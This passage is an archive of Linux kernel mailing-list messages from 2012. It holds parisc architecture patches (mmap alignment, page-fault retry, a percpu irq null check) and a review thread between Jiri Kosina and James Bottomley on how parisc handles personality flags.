-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
@@ -225,12 +226,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality &= ~PER_LINUX|PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err &= ~PER_LINUX32|PER_LINUX;
 
 	return err;
 }
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 82a52b2..837c602 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -180,9 +180,10 @@ linux_gateway_entry:
 
 	/* Are we being ptraced? */
 	mfctl	%cr30, %r1
-	LDREG	TI_TASK(%r1),%r1
-	ldw	TASK_PTRACE(%r1), %r1
-	bb,<,n	%r1,31,.Ltracesys
+	LDREG   TI_FLAGS(%r1),%r1
+	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
+	and,COND(=) %r19, %r1, %r0
+	b,n	.Ltracesys
 	
 	/* Note!  We cannot use the syscall table that is mapped
 	nearby since the gateway page is mapped execute-only. */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..524bf5a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+		flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index eebd6d5..078a593 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -581,6 +581,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -588,7 +589,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-26-492618903--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2] parisc: fix personality flag check in copy_thread()
Date: Thu, 2 Aug 2012 09:12:05 +0200 (CEST)
Lines: 60
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz>
References: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1343891541 28452 80.91.229.3 (2 Aug 2012 07:12:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 07:12:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 09:12:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SwpZt-0004V4-P9
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 09:12:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753211Ab2HBHMM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Aug 2012 03:12:12 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:43678 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751662Ab2HBHML (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Aug 2012 03:12:11 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 48916A3991;
	Thu,  2 Aug 2012 09:12:10 +0200 (CEST)
In-Reply-To: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4521 gmane.linux.kernel:1336710
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4521>

Directly comparing task_struct->personality against PER_* is not fully
correct, as it doesn't take flags potentially stored in top three bytes
into account.

Analogically, directly forcefully setting personality to PER_LINUX32 or
PER_LINUX discards any flags stored in the top three bytes.

Signed-off-by: Jiri Kosina <jkosina@suse.cz>
---

changed since v1: fix the bit ops to reflect the fact that PER_LINUX is 
actually 0

 arch/parisc/kernel/process.c    |    2 +-
 arch/parisc/kernel/sys_parisc.c |    8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..7f9658e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality |= PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err &= ~PER_LINUX32;
 
 	return err;
 }

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: fix personality flag check in copy_thread()
Date: Thu, 02 Aug 2012 09:47:52 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <1343897272.5073.5.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>
	 <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343897283 7927 80.91.229.3 (2 Aug 2012 08:48:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 08:48:03 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Jiri Kosina <jkosina@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 10:48:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Swr4Y-0006tF-Ae
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 10:47:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752433Ab2HBIr5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Aug 2012 04:47:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38363 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751735Ab2HBIr4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Aug 2012 04:47:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 43FB58EE0CE;
	Thu,  2 Aug 2012 01:47:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 1a-2uGB4dD0G; Thu,  2 Aug 2012 01:47:56 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CD8C68EE0A2;
	Thu,  2 Aug 2012 01:47:54 -0700 (PDT)
In-Reply-To: <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4522 gmane.linux.kernel:1336739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4522>

On Thu, 2012-08-02 at 09:12 +0200, Jiri Kosina wrote:
> Directly comparing task_struct->personality against PER_* is not fully
> correct, as it doesn't take flags potentially stored in top three bytes
> into account.
> 
> Analogically, directly forcefully setting personality to PER_LINUX32 or
> PER_LINUX discards any flags stored in the top three bytes.
> 
> Signed-off-by: Jiri Kosina <jkosina@suse.cz>
> ---
> 
> changed since v1: fix the bit ops to reflect the fact that PER_LINUX is 
> actually 0

Tell me what you're trying to achieve (or what problem you're trying to
solve), because personality is notoriously tricky.

Usually personality = <whatever> is desired because if you look at the
enum for personality, it does set the top three bits in quite a few
cases.  We actually don't need any of the top 3 byte features ... but I
think making sure they're zeroed out is the correct thing to do.

In particular, if we ever get around to a 64 bit user space, our
personality will be PER_LINUX_FDPIC and then we will be setting the top
three bytes.

James


>  arch/parisc/kernel/process.c    |    2 +-
>  arch/parisc/kernel/sys_parisc.c |    8 ++++----
>  2 files changed, 5 insertions(+), 5 deletions(-)
> 
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index d4b94b3..2c05a92 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
>  		cregs->ksp = (unsigned long)stack
>  			+ (pregs->gr[21] & (THREAD_SIZE - 1));
>  		cregs->gr[30] = usp;
> -		if (p->personality == PER_HPUX) {
> +		if (personality(p->personality) == PER_HPUX) {
>  #ifdef CONFIG_HPUX
>  			cregs->kpc = (unsigned long) &hpux_child_return;
>  #else
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index c9b9322..7f9658e 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
>  	long err;
>  
>  	if (personality(current->personality) == PER_LINUX32
> -	    && personality == PER_LINUX)
> -		personality = PER_LINUX32;
> +	    && personality(personality) == PER_LINUX)
> +		personality |= PER_LINUX32;
>  
>  	err = sys_personality(personality);
> -	if (err == PER_LINUX32)
> -		err = PER_LINUX;
> +	if (personality(err) == PER_LINUX32)
> +		err &= ~PER_LINUX32;
>  
>  	return err;
>  }
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: fix personality flag check in copy_thread()
Date: Thu, 2 Aug 2012 13:45:12 +0200 (CEST)
Lines: 46
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1208021342120.4820@pobox.suse.cz>
References: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>  <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz> <1343897272.5073.5.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1343907931 27652 80.91.229.3 (2 Aug 2012 11:45:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 11:45:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 13:45:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SwtqK-0005yn-Gq
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 13:45:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753388Ab2HBLpW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Aug 2012 07:45:22 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:59027 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752890Ab2HBLpW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Aug 2012 07:45:22 -0400
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id C7232A24CA;
	Thu,  2 Aug 2012 13:45:20 +0200 (CEST)
In-Reply-To: <1343897272.5073.5.camel@dabdike.int.hansenpartnership.com>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4523 gmane.linux.kernel:1336801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4523>

On Thu, 2 Aug 2012, James Bottomley wrote:

> > Directly comparing task_struct->personality against PER_* is not fully
> > correct, as it doesn't take flags potentially stored in top three bytes
> > into account.
> > 
> > Analogically, directly forcefully setting personality to PER_LINUX32 or
> > PER_LINUX discards any flags stored in the top three bytes.
> > 
> > Signed-off-by: Jiri Kosina <jkosina@suse.cz>
> > ---
> > 
> > changed since v1: fix the bit ops to reflect the fact that PER_LINUX is 
> > actually 0
> 
> Tell me what you're trying to achieve (or what problem you're trying to
> solve), because personality is notoriously tricky.

Long story short -- I was debugging a problem where 'setarch --uname-2.6' 
would not work on s390 on (older) 3.x kernel. Turned out to be a 
corruption of top bytes of personality across exec() on s390.

I was doing quite some over-the-tree grepping during this, and found out 
that at least parisc, powerpc and sparc64 (davem already queued my patch 
for this) would under some silently ignore discard the top bytes of 
personality flags passed to sys_personality().

In case of parsic, let's take a process with current->personality == 
PER_LINUX32 callling personality(PER_LINUX | UNAME26). The

        if (personality(current->personality) == PER_LINUX32
            && personality == PER_LINUX)
                personality = PER_LINUX32;

would that have no effect, and sys_personality() would be called with 
(PER_LINUX | UNAME26) instead of PER_LINUX32, just because of UNAME26 
being set as well. That doesn't seem really correct. Is it?

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: fix personality flag check in copy_thread()
Date: Thu, 02 Aug 2012 14:06:58 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <1343912818.5073.48.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>
	  <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz>
	 <1343897272.5073.5.camel@dabdike.int.hansenpartnership.com>
	 <alpine.LNX.2.00.1208021342120.4820@pobox.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1343912830 3855 80.91.229.3 (2 Aug 2012 13:07:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 13:07:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Jiri Kosina <jkosina@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 15:07:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Swv7K-0004MZ-A5
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 15:07:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752558Ab2HBNHF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Aug 2012 09:07:05 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38853 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750974Ab2HBNHE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Aug 2012 09:07:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DDF1D8EE12F;
	Thu,  2 Aug 2012 06:07:03 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5f7UVJGSj-zK; Thu,  2 Aug 2012 06:07:03 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 20D588EE0CE;
	Thu,  2 Aug 2012 06:07:01 -0700 (PDT)
In-Reply-To: <alpine.LNX.2.00.1208021342120.4820@pobox.suse.cz>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4524 gmane.linux.kernel:1336830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4524>

On Thu, 2012-08-02 at 13:45 +0200, Jiri Kosina wrote:
> On Thu, 2 Aug 2012, James Bottomley wrote:
> 
> > > Directly comparing task_struct->personality against PER_* is not fully
> > > correct, as it doesn't take flags potentially stored in top three bytes
> > > into account.
> > > 
> > > Analogically, directly forcefully setting personality to PER_LINUX32 or
> > > PER_LINUX discards any flags stored in the top three bytes.
> > > 
> > > Signed-off-by: Jiri Kosina <jkosina@suse.cz>
> > > ---
> > > 
> > > changed since v1: fix the bit ops to reflect the fact that PER_LINUX is 
> > > actually 0
> > 
> > Tell me what you're trying to achieve (or what problem you're trying to
> > solve), because personality is notoriously tricky.
> 
> Long story short -- I was debugging a problem where 'setarch --uname-2.6' 
> would not work on s390 on (older) 3.x kernel. Turned out to be a 
> corruption of top bytes of personality across exec() on s390.
> 
> I was doing quite some over-the-tree grepping during this, and found out 
> that at least parisc, powerpc and sparc64 (davem already queued my patch 
> for this) would under some silently ignore discard the top bytes of 
> personality flags passed to sys_personality().
> 
> In case of parsic, let's take a process with current->personality == 
> PER_LINUX32 callling personality(PER_LINUX | UNAME26). The
> 
>         if (personality(current->personality) == PER_LINUX32
>             && personality == PER_LINUX)
>                 personality = PER_LINUX32;
> 
> would that have no effect, and sys_personality() would be called with 
> (PER_LINUX | UNAME26) instead of PER_LINUX32, just because of UNAME26 
> being set as well. That doesn't seem really correct. Is it?

Heh, no.  This is a nasty mess.  Our assumption was that we own the
flags ... hence the code.  There are some flags we can't allow to be set
or reset ... but that's only for the mythical 64 bit userspace, so I
suppose we just ignore that for now and fix it if this ever appears.

I don't like the hidden assumption that PER_LINUX == 0, but otherwise
the code looks fine.

How about 

personality = (personality & ~PER_MASK) | PER_LINUX32;

and

err = (personality & ~PER_MASK) | PER_LINUX;

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: fix personality flag check in copy_thread()
Date: Thu, 2 Aug 2012 15:33:59 +0200 (CEST)
Lines: 102
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1208021531540.4820@pobox.suse.cz>
References: <alpine.LNX.2.00.1208012155330.14910@pobox.suse.cz>   <alpine.LNX.2.00.1208020911300.14910@pobox.suse.cz>  <1343897272.5073.5.camel@dabdike.int.hansenpartnership.com>  <alpine.LNX.2.00.1208021342120.4820@pobox.suse.cz>
 <1343912818.5073.48.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1343914449 17981 80.91.229.3 (2 Aug 2012 13:34:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 13:34:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 02 15:34:08 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SwvXU-0003EW-7D
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Aug 2012 15:34:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753984Ab2HBNeH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Aug 2012 09:34:07 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38389 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752154Ab2HBNeG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Aug 2012 09:34:06 -0400
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 03606A2FD6;
	Thu,  2 Aug 2012 15:34:05 +0200 (CEST)
In-Reply-To: <1343912818.5073.48.camel@dabdike.int.hansenpartnership.com>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4525 gmane.linux.kernel:1336846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4525>

On Thu, 2 Aug 2012, James Bottomley wrote:

> > In case of parsic, let's take a process with current->personality == 
> > PER_LINUX32 callling personality(PER_LINUX | UNAME26). The
> > 
> >         if (personality(current->personality) == PER_LINUX32
